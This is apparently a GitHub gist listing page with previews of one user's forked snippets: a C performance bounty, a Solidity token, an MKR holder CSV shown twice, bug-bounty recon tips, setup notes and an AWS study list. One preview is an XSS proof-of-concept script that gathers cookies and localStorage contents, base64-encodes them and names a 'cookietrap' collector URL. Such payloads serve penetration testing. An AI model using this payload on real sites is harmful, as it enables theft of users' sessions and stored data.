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developerfred / HVML.c
Created November 7, 2024 05:59 — forked from VictorTaelin/HVML.c
$10k bounty - make HVML.c 50% faster on Apple M3
// Post: https://x.com/VictorTaelin/status/1854326873590792276
// Note: The atomics must be kept.
// Note: This will segfault on non-Apple devices due to upfront mallocs.#include <stdint.h>
#include <stdint.h>
#include <stdatomic.h>
#include <stdlib.h>
#include <stdio.h>
#include <time.h>
@developerfred
developerfred / XSS POC
Created November 9, 2022 17:38 — forked from nicovillanueva/XSS POC
JS script for doing XSS POCs
// The collector must decode the base64-encoded parameter 'payload'
// Suggestion: The PHP script could redirect back to the user's referer, such as:
// header("Location: " . $_SERVER['HTTP_REFERER']);
collector="http://192.168.40.6/cookietrap/trap.php?payload=";
c=function(){ret=""; for(var i = 0; i < document.cookie.split(";").length; i++){ ret+=("- " + document.cookie.split(";")[i] + "\n");} return ret; }();
ls=function(){locStor = ""; for(var i = 0; i < localStorage.length; i++){ locStor += ("Key: " + localStorage.key(i) + "\nValue: " + localStorage.getItem(localStorage.key(i)) + "\n\n");} return locStor; }();
payload="Cookies: \n"+ c + "\nLocalStorage: \n" + ls;
enc=btoa(payload);
alert("Yar cookies are: \n" + c);
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
// Used in the `name()` function
// "Yul Token"
bytes32 constant nameLength = 0x0000000000000000000000000000000000000000000000000000000000000009;
bytes32 constant nameData = 0x59756c20546f6b656e0000000000000000000000000000000000000000000000;
// Used in the `symbol()` function
// "YUL"
@developerfred
developerfred / MKR_holders.csv
Created October 20, 2020 13:02 — forked from gane5h/MKR_holders.csv
MKR balance storage slot writes
We can't make this file beautiful and searchable because it's too large.
"block_signed_at","address","balance"
"2019-11-30 21:43:30+00","2d1d6d5deae5cc68d893a73781dd573fde302796",1227556400000000000
"2019-11-30 21:43:30+00","2b5634c42055806a59e9107ed44d43c426e58258",239060270600000000000
"2019-11-30 21:33:10+00","39755357759ce0d7f32dc8dc45414cca409ae24e",437140390807426204185
"2019-11-30 21:33:10+00","69076e44a9c70a67d5b79d95795aba299083c275",5878988991879486728884
"2019-11-30 21:33:10+00","e54365c85ca9b7e3ef68c5bed244dc10330bb264",0
"2019-11-30 21:32:32+00","ac8d6652067ca9b33bd15eeeeb01102d2d2cfc64",843100000000000000
"2019-11-30 21:29:27+00","2c4bd064b998838076fa341a83d007fc2fa50957",2964877658410763648961
"2019-11-30 21:29:27+00","9ba4ae48b8ca9e98e511b3371a4d454d1a3e1003",0
"2019-11-30 21:17:29+00","6cc5f688a315f3dc28a7781717a9a798a59fda7b",2633319886385353620901
@developerfred
developerfred / MKR_holders.csv
Created October 20, 2020 13:02 — forked from gane5h/MKR_holders.csv
MKR balance storage slot writes
We can't make this file beautiful and searchable because it's too large.
"block_signed_at","address","balance"
"2019-11-30 21:43:30+00","2d1d6d5deae5cc68d893a73781dd573fde302796",1227556400000000000
"2019-11-30 21:43:30+00","2b5634c42055806a59e9107ed44d43c426e58258",239060270600000000000
"2019-11-30 21:33:10+00","39755357759ce0d7f32dc8dc45414cca409ae24e",437140390807426204185
"2019-11-30 21:33:10+00","69076e44a9c70a67d5b79d95795aba299083c275",5878988991879486728884
"2019-11-30 21:33:10+00","e54365c85ca9b7e3ef68c5bed244dc10330bb264",0
"2019-11-30 21:32:32+00","ac8d6652067ca9b33bd15eeeeb01102d2d2cfc64",843100000000000000
"2019-11-30 21:29:27+00","2c4bd064b998838076fa341a83d007fc2fa50957",2964877658410763648961
"2019-11-30 21:29:27+00","9ba4ae48b8ca9e98e511b3371a4d454d1a3e1003",0
"2019-11-30 21:17:29+00","6cc5f688a315f3dc28a7781717a9a798a59fda7b",2633319886385353620901
@developerfred
developerfred / github_bugbountyhunting.md
Created July 30, 2020 18:47 — forked from EdOverflow/github_bugbountyhunting.md
My tips for finding security issues in GitHub projects.

GitHub for Bug Bounty Hunters

GitHub repositories can disclose all sorts of potentially valuable information for bug bounty hunters. The targets do not always have to be open source for there to be issues. Organization members and their open source projects can sometimes accidentally expose information that could be used against the target company. in this article I will give you a brief overview that should help you get started targeting GitHub repositories for vulnerabilities and for general recon.

Mass Cloning

You can just do your research on github.com, but I would suggest cloning all the target's repositories so that you can run your tests locally. I would highly recommend @mazen160's GitHubCloner. Just run the script and you should be good to go.

$ python githubcloner.py --org organization -o /tmp/output
@developerfred
developerfred / install.md
Created February 14, 2020 09:06 — forked from derhuerst/install.md
Rust WASM setup on macOS (with fish shell)
@developerfred
developerfred / README.md
Created January 21, 2020 01:49 — forked from leonardofed/README.md
A curated list of AWS resources to prepare for the AWS Certifications


A curated list of AWS resources to prepare for the AWS Certifications

A curated list of awesome AWS resources you need to prepare for the all 5 AWS Certifications. This gist will include: open source repos, blogs & blogposts, ebooks, PDF, whitepapers, video courses, free lecture, slides, sample test and many other resources.


{% block content %}
<div class="row card-columns">
{% for i in index %}
<div class="col-12">
<div class="card my-5">
<h3 class="card-header">Choice {{ i }}</h3>
<div class="card-body px-5">
<div class="row card-deck">
{% for choice in form.choice_1 %}
<div class="card">